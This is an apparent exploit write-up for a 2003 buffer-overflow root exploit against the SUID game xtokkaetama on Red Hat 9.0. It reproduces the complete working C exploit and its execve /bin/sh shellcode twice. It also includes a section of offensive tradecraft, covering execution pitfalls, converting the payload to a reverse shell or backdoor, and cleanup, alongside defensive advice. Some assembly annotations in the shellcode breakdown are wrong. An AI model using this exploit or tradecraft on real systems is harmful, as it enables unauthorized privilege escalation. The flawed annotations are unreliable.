Understanding the xtokkaetama Local Privilege Escalation Exploit

Understanding the xtokkaetama Local Privilege Escalation Exploit
What this paper is
This paper details a local privilege escalation exploit for the xtokkaetama program, version 1.0b, running on Red Hat 9.0. The exploit, coded by "brahma" and published on August 1, 2003, targets a vulnerability that allows a local user to gain root privileges. It leverages a buffer overflow to overwrite a return address on the stack, redirecting program execution to injected shellcode.
Simple technical breakdown
The exploit works by:
- Identifying a vulnerability: The
xtokkaetamaprogram has a buffer overflow vulnerability. This means it doesn't properly check the size of input it receives, allowing an attacker to write beyond the intended buffer. - Crafting malicious input: The exploit creates a specially crafted string. This string contains:
- Padding: A series of "No Operation" (NOP) instructions. These are like "do nothing" commands for the CPU. Their purpose is to create a "NOP sled" – a region of code that the CPU will slide through harmlessly until it hits the actual shellcode.
- Shellcode: The actual malicious code that will be executed. In this case, it's designed to spawn a shell with root privileges.
- Return Address: A specific memory address that the program is tricked into jumping to. This address points to the beginning of the injected shellcode.
- Exploiting the overflow: When
xtokkaetamaprocesses the malicious input, the overflow overwrites the program's return address on the stack. This corrupted return address now points to the shellcode. - Gaining control: When the
xtokkaetamaprogram attempts to return from the vulnerable function, it jumps to the attacker-controlled address (the shellcode), executing the malicious code and granting the attacker elevated privileges.
Complete code and payload walkthrough
Let's break down the provided C code and the shellcode.
/*
* xtokkaetama 1.0b local game exploit on Red Hat 9.0
* Coded by brahma (31/07/2003)
*
* http://www.debian.org/security/2003/dsa-356
*/
#include <stdlib.h>
#define RETADDR 0xbfffff11
#define DEFAULT_BUFFER_SIZE 29
#define DEFAULT_EGG_SIZE 512
#define NOP 0x90
#define BIN "/usr/X11R6/bin/xtokkaetama"
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) eggsize = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = RETADDR;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
execl(BIN,BIN,"-display",buff,NULL);
}
// milw0rm.com [2003-08-01]Code Fragment/Block Mapping:
#include <stdlib.h>: Includes the standard library for functions likemalloc,exit,atoi, andputenv.#define RETADDR 0xbfffff11: Defines a constantRETADDRwith a hardcoded memory address. This is the target address where the exploit expects the shellcode to reside. This address is likely determined through debugging or by analyzing the program's memory layout.#define DEFAULT_BUFFER_SIZE 29: Defines the default size of the buffer that will be used to overflow the program's internal buffer.#define DEFAULT_EGG_SIZE 512: Defines the default size for the "egg" buffer, which will hold the NOP sled and the shellcode.#define NOP 0x90: Defines the byte value for the "No Operation" instruction (NOP).#define BIN "/usr/X11R6/bin/xtokkaetama": Defines the full path to the vulnerable executable.char shellcode[] = "...": This is the actual shellcode. It's a sequence of bytes that, when executed, performs a specific action.unsigned long get_esp(void) { __asm__("movl %esp,%eax"); }: A function that uses inline assembly to move the current stack pointer (%esp) into the%eaxregister and return it. This function is defined but not used in themainfunction of this specific exploit. It might have been intended for a different approach or a previous version.void main(int argc, char *argv[]): The main function where the exploit logic resides.char *buff, *ptr, *egg;: Declares character pointers for the overflow buffer (buff), a general-purpose pointer (ptr), and the buffer for the shellcode ("egg") (egg).long *addr_ptr, addr;: Declares a pointer to a long integer (addr_ptr) and a long integer variable (addr) to hold the target return address.int bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE;: Initializes buffer sizes and loop counters.if (argc > 1) bsize = atoi(argv[1]);: Allows the user to specify the buffer size as a command-line argument.if (argc > 2) eggsize = atoi(argv[2]);: Allows the user to specify the egg size as a command-line argument.if (!(buff = malloc(bsize))) { ... }: Allocates memory for the overflow buffer. If allocation fails, it prints an error and exits.if (!(egg = malloc(eggsize))) { ... }: Allocates memory for the egg buffer. If allocation fails, it prints an error and exits.addr = RETADDR;: Assigns the predefined return address to theaddrvariable.printf("Using address: 0x%x\n", addr);: Informs the user about the target address being used.ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr;: This loop fills thebuffwith the target return address (addr). It castsbuffto along *and writes the address repeatedly, effectively creating a buffer filled with the target address. This is the overflow payload.ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP;: This loop fills theeggbuffer with NOP instructions (0x90). It leaves space at the end for the shellcode and a null terminator. This creates the NOP sled.for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];: This loop copies the actualshellcodebytes into theeggbuffer, immediately after the NOP sled.buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0';: Null-terminates the buffers. This is important for string handling in C, though in this exploit, the overflow is achieved by overwriting memory beyond the intended buffer size.memcpy(egg,"EGG=",4);: Prepends the string "EGG=" to theeggbuffer. This is a common technique for theputenvfunction, which expects environment variables in the formatNAME=VALUE.putenv(egg);: Sets theeggbuffer as an environment variable named "EGG". This is how the shellcode is made available in the environment of the child process created byexecl.execl(BIN,BIN,"-display",buff,NULL);: This is the core execution call.BIN: The path to the vulnerable executable (/usr/X11R6/bin/xtokkaetama).BIN: The first argument to the program (program name)."-display": A fixed argument to thextokkaetamaprogram.buff: The overflow buffer. This is passed as the argument that the vulnerablextokkaetamaprogram will process, triggering the buffer overflow.NULL: Terminates the argument list forexecl.
Shellcode Breakdown:
The shellcode is a sequence of bytes designed to execute /bin/sh. Let's analyze it:
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"
This shellcode is a classic example often found in older Linux exploits. It's designed to be position-independent and execute a command.
\xeb\x1f:jmp short $+0x1f(Jump forward 31 bytes). This is the start of the jump to the shellcode itself.\x5e:pop esi(Pop the stack pointer intoesi). This is used to get the address of the string "/bin/sh" which is placed after the shellcode.\x89\x76\x08:mov [esi+0x8], esi(Moveesito memory locationesi+0x8). This is part of setting up arguments for theexecvesystem call.\x31\xc0:xor eax, eax(XOReaxwith itself, settingeaxto 0). This clears theeaxregister.\x88\x46\x07:mov [esi+0x7], al(Move the lower byte ofeax(which is 0) toesi+0x7). This sets up the null terminator for the first argument ofexecve.\x89\x46\x0c:mov [esi+0xc], eax(Moveeax(which is 0) toesi+0xc). This sets up the null terminator for theargvarray.\xb0\x0b:mov al, 0xb(Move the value 11 intoal). This setseaxto 11, which is the system call number forexecve.\x89\xf3:mov ebx, esi(Moveesiintoebx).ebxwill hold the pointer to the command string ("/bin/sh").\x8d\x4e\x08:lea ecx, [esi+0x8](Load effective address ofesi+0x8intoecx). This pointsecxto the first argument ofexecve(which is the command string itself).\x8d\x56\x0c:lea edx, [esi+0xc](Load effective address ofesi+0xcintoedx). This pointsedxto theargvarray (which is currently empty, but the null terminator is set up).\xcd\x80:int 0x80(Software interrupt to trigger the system call). At this point,eaxis 11 (execve),ebxpoints to "/bin/sh",ecxpoints to the command string, andedxpoints to theargvarray. This will execute/bin/sh.\x31\xdb:xor ebx, ebx(XORebxwith itself, settingebxto 0). This is a fallback or cleanup.\x89\xd8:mov eax, ebx(Moveebx(0) intoeax). This setseaxto 0.\x40:inc eax(Incrementeax). This setseaxto 1.\xcd\x80:int 0x80(Software interrupt). This secondint 0x80witheax=1is the system call forexit. This is a fallback ifexecvefails.\xe8\xdc\xff\xff\xff:call $-0x24(Call relative to the current instruction pointer). This is a relative jump that effectively jumps back to the start of the shellcode, but it's used here to calculate the address of the string "/bin/sh" which is appended to the shellcode. Thecallinstruction pushes the address of the next instruction onto the stack. The shellcode then usespop esito retrieve this address, and since "/bin/sh" immediately follows the shellcode,esiwill point to it./bin/sh: This is the actual string that will be executed as a command.
Payload Segments:
- NOP Sled:
\x90bytes repeated many times. - Shellcode: The executable instructions described above.
- Command String:
/bin/sh.
The exploit constructs the egg buffer by first filling it with NOPs, then appending the shellcode. The memcpy(egg,"EGG=",4); prepends "EGG=" to this buffer before putenv makes it an environment variable. The execl call then executes xtokkaetama with the overflow buffer (buff) as an argument. The xtokkaetama program, when processing this argument, overflows its internal buffer, overwrites the return address with RETADDR, and when it tries to return, it jumps to RETADDR. The RETADDR is expected to point into the NOP sled, which then slides down to the actual shellcode, executing /bin/sh.
Practical details for offensive operations teams
- Required Access Level: Local user access to the target system. This is a local privilege escalation exploit.
- Lab Preconditions:
- A Red Hat 9.0 system (or a compatible Linux distribution with a vulnerable
xtokkaetamaversion). - The
xtokkaetamaexecutable must be installed and have the SUID bit set (or be executable by the user). For privilege escalation, it typically needs to be SUID root. - The exploit code needs to be compiled on a compatible architecture (likely x86).
- Network access is not required for the exploit itself, but for delivering the exploit code or receiving a callback if the shellcode were modified.
- A Red Hat 9.0 system (or a compatible Linux distribution with a vulnerable
- Tooling Assumptions:
- A C compiler (like GCC) to compile the exploit.
- Standard Linux utilities (
ls,cat,chmod,gcc, etc.). - A debugger (like GDB) would be invaluable for determining the
RETADDRif it weren't provided.
- Execution Pitfalls:
- Incorrect
RETADDR: TheRETADDR(0xbfffff11) is hardcoded. If the program's memory layout differs (due to ASLR, different compiler flags, or different library versions), this address will be wrong, and the exploit will fail. This was a common issue with exploits from this era. - Buffer Size Mismatch: The
DEFAULT_BUFFER_SIZE(29) might be too small or too large to reliably overwrite the return address. Thebsizeparameter allows tuning. - Stack Canaries/NX Bit: Modern systems have protections like stack canaries and the NX (No-Execute) bit, which would prevent this type of exploit from working without significant modifications (e.g., return-to-libc, ROP). Red Hat 9.0 likely did not have these protections enabled by default or at all.
- Shellcode Size: The
DEFAULT_EGG_SIZEmust be large enough to accommodate the NOP sled and the shellcode. - Environment Variable Interference: Other environment variables or the way
putenvinteracts with the environment could potentially cause issues, though unlikely to be a primary failure point. execlBehavior: Theexeclcall replaces the current process. Ifxtokkaetamais a critical system process, its termination might have side effects.
- Incorrect
- Tradecraft Considerations:
- Stealth: Running a local exploit is generally less stealthy than remote ones, as it requires direct interaction. However, the exploit itself doesn't generate excessive network traffic.
- Persistence: The shellcode spawns a shell, which is interactive. For persistence, the shellcode would need to be modified to establish a reverse shell, bind shell, or drop a more persistent backdoor.
- Privilege Escalation Verification: After execution, verify root privileges using commands like
whoamiorid. - Cleanup: Ensure no residual files or processes are left behind, especially if the shellcode was modified.
Where this was used and when
This exploit targets a specific version of xtokkaetama on Red Hat 9.0, which was released in March 2003. The exploit itself was published on August 1, 2003. This indicates it was used shortly after the vulnerability was discovered or disclosed. Exploits of this nature were common in the early 2000s for Linux systems, often targeting SUID binaries that were not properly secured. The reference to debian.org/security/2003/dsa-356 suggests that a similar vulnerability may have existed in Debian packages around the same time, indicating a broader issue with the xtokkaetama software.
Defensive lessons for modern teams
- Patch Management: The most crucial lesson is to keep software updated. This exploit targets a known vulnerability in an older version. Regularly patching systems prevents known exploits from succeeding.
- Secure SUID Binaries: Avoid setting the SUID bit on unnecessary binaries. If a binary must be SUID root, it should be rigorously audited for security vulnerabilities.
- Compiler Hardening: Modern compilers offer security features like stack canaries (
-fstack-protector), ASLR (Address Space Layout Randomization), and DEP/NX (Data Execution Prevention/No-Execute) which make classic buffer overflows much harder. Ensure these are enabled. - Input Validation: Programs must always validate the size and content of user-supplied input to prevent overflows and other injection attacks.
- Least Privilege: Users should only have the permissions they need to perform their tasks. This limits the impact of a compromised local account.
- Runtime Security Monitoring: Intrusion detection systems (IDS) and host-based intrusion detection systems (HIDS) can detect anomalous behavior, such as unexpected process execution or privilege escalation attempts.
- Code Auditing: Regular security audits and code reviews of critical applications, especially those with elevated privileges, are essential.
ASCII visual (if applicable)
This exploit's flow can be visualized as follows:
+---------------------+ +---------------------+ +---------------------+
| Attacker's Local | --> | Target System | --> | xtokkaetama Process |
| User Account | | (Red Hat 9.0) | | (Vulnerable) |
+---------------------+ +---------------------+ +---------------------+
| | |
| 1. Executes exploit code | | 2. Receives malformed
| (compiled C program) | | argument via execl
| | |
| | | +-----------------+
| | | | Stack Frame |
| | | |-----------------|
| | | | Local Variables |
| | | |-----------------|
| | | | Saved EBP |
| | | |-----------------|
| | | | Return Address | <--- Overwritten!
| | | |-----------------|
| | | | Buffer | <--- Overflowed!
| | | +-----------------+
| | |
| | | 3. Overflow occurs,
| | | Return Address
| | | is overwritten
| | | with RETADDR.
| | |
| | | 4. Program attempts
| | | to return, jumps
| | | to RETADDR.
| | |
| | | +-----------------+
| | | | Shellcode | <--- Execution starts here!
| | | | (NOPs + /bin/sh)|
| | | +-----------------+
| | |
| | | 5. Shellcode executes,
| | | spawns /bin/sh
| | | (likely as root).
+-------------------------------------------------------+Source references
- Paper ID: 72
- Paper Title: xtokkaetama 1.0b (RedHat 9.0) - Local Game
- Author: brahma
- Published: 2003-08-01
- Keywords: Linux, local
- Paper URL: https://www.exploit-db.com/papers/72
- Raw URL: https://www.exploit-db.com/raw/72
- Related Debian Security Advisory:
http://www.debian.org/security/2003/dsa-356
Original Exploit-DB Content (Verbatim)
/*
* xtokkaetama 1.0b local game exploit on Red Hat 9.0
* Coded by brahma (31/07/2003)
*
* http://www.debian.org/security/2003/dsa-356
*/
#include <stdlib.h>
#define RETADDR 0xbfffff11
#define DEFAULT_BUFFER_SIZE 29
#define DEFAULT_EGG_SIZE 512
#define NOP 0x90
#define BIN "/usr/X11R6/bin/xtokkaetama"
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) eggsize = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = RETADDR;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
execl(BIN,BIN,"-display",buff,NULL);
}
// milw0rm.com [2003-08-01]